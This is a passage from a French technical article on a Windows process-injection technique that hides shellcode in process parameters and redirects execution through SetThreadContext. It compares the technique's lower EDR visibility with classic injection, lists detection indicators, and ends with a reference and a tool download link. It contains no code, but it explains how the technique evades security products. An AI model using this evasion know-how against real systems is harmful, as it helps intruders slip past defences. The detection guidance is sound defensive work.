| Redirection d'exécution | `CreateRemoteThread` ou APC | `SetThreadContext` |
| Probabilité de détection | Élevée (nombreuses API suspectes) | Réduite (création de processus bénigne) |
| Télémétrie EDR | Surveillée de près | Observabilité réduite |

Dans l'ensemble, cette technique suscite beaucoup moins de suspicions car elle laisse une empreinte plus réduite en utilisant des API légitimes de création de processus et de gestion de threads.

---

## 7. Approche de détection

Il existe plusieurs indicateurs suspects générés par cette technique, qui peuvent être utilisés pour la détecter.

- `VirtualProtectEx` qui rend une région mémoire exécutable suivi de `SetThreadContext` avec au moins `CONTEXT_CONTROL`. Il est à noter que le pointeur d'instruction n'a pas besoin de pointer vers cette région exécutable, car il peut plutôt pointer vers un gadget qui le redirige ensuite. Cependant, il est très probable qu'un pointeur dans la région mémoire soit écrit dans l'un des registres CPU.
- `VirtualProtectEx` qui rend exécutables des pages des paramètres de processus, à la fois dans le processus lui-même et dans des processus externes.
- Création d'un processus où l'un des trois paramètres abusés soulève des soupçons. Par exemple, si l'entropie de la ligne de commande est proche de l'entropie du shellcode ou éloignée de l'entropie d'une valeur de ligne de commande normale. De plus, la longueur du paramètre fourni est excessive ou de nombreux caractères inhabituels y seront présents. Cependant, se fier uniquement à cela est probablement sujet à de faux positifs.
- Lecture de la structure des paramètres de processus d'un processus distant vers laquelle le PEB possède un pointeur.

---

## 8. Conclusion

En résumé, les attaquants peuvent contourner les solutions de sécurité modernes grâce à de nouvelles idées et de petites modifications, soit en développant de nouvelles techniques, soit en réutilisant d'anciennes techniques de manière novatrice. Il est donc important de développer continuellement de nouvelles règles de détection et de ne pas se fier uniquement à une solution existante.

---

## 9. Références

[1] https://web.archive.org/web/20241211190548/https://modexp.wordpress.com/2020/07/31/wpi-cmdline-envar/
Télécharger l’outil